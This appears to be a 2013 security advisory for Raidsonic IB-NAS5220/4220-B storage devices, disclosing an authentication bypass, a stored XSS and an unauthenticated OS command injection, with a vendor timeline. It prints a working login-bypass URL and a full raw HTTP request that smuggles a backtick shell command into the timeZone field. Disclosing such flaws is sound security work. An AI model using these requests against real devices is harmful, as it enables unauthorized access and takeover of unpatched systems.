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2.5 KiB
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67 lines
No EOL
2.5 KiB
Text
Device Name: IB-NAS5220 / IB-NAS4220-B
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Vendor: Raidsonic
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============ Vulnerable Firmware Releases: ============
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Product Name IB-NAS5220 / IB-NAS4220-B
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Tested Firmware IB5220: 2.6.3-20100206S
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Tested Firmware IB4220: 2.6.3.IB.1.RS.1
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Firmware Download: http://www.raidsonic.de/data/Downloads/Firmware/IB-NAS5220_standard.zip
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============ Vulnerability Overview: ============
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* Authentication Bypass:
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-> Access the following URL to bypass the login procedure:
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http://<IP>/nav.cgi?foldName=adm&localePreference=en
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* Stored XSS:
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System -> Time Settings -> NTP Server -> User Define
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Injecting scripts into the parameter ntp_name reveals that this parameter is not properly validated for malicious input. You are able to place this script without authentication.
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Screenshot: http://www.s3cur1ty.de/sites/www.s3cur1ty.de/files/images/ICY-Box-Stored-XSS.png
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* Unauthenticated OS Command Injection
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The vulnerability is caused by missing input validation in the ping_size parameter and can be exploited to inject and execute arbitrary shell commands.
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Example Exploit:
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POST /cgi/time/timeHandler.cgi HTTP/1.1
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Host: 192.168.178.41
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User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:16.0) Gecko/20100101 Firefox/16.0
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Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
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Accept-Language: de-de,de;q=0.8,en-us;q=0.5,en;q=0.3
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Accept-Encoding: gzip, deflate
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Proxy-Connection: keep-alive
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Referer: http://192.168.178.41/cgi/time/time.cgi
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Content-Type: application/x-www-form-urlencoded
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Content-Length: 186
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month=1&date=1&year=2007&hour=12&minute=10&m=PM&timeZone=Amsterdam`COMMAND`&ntp_type=default&ntpServer=none&old_date=+1+12007&old_time=1210&old_timeZone=Amsterdam&renew=0
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Screenshot: http://www.s3cur1ty.de/sites/www.s3cur1ty.de/files/images/Raidsonic-IB-NAS-command-execution.png
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============ Solution ============
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No known solution available.
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============ Credits ============
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The vulnerability was discovered by Michael Messner
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Mail: devnull#at#s3cur1ty#dot#de
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Web: http://www.s3cur1ty.de
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Advisory URL: http://www.s3cur1ty.de/m1adv2013-010
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Twitter: @s3cur1ty_de
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============ Time Line: ============
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August 2012 - discovered vulnerability
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27.08.2012 - contacted vendor with vulnerability details for IB-NAS4220-B
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28.08.2012 - vendor responded that they will not publish an update
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15.10.2012 - contacted vendor with vulnerability details for IB-NAS5220
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15.10.2012 - vendor responded that they will not publish an update
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12.02.2013 - public release
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===================== Advisory end ===================== |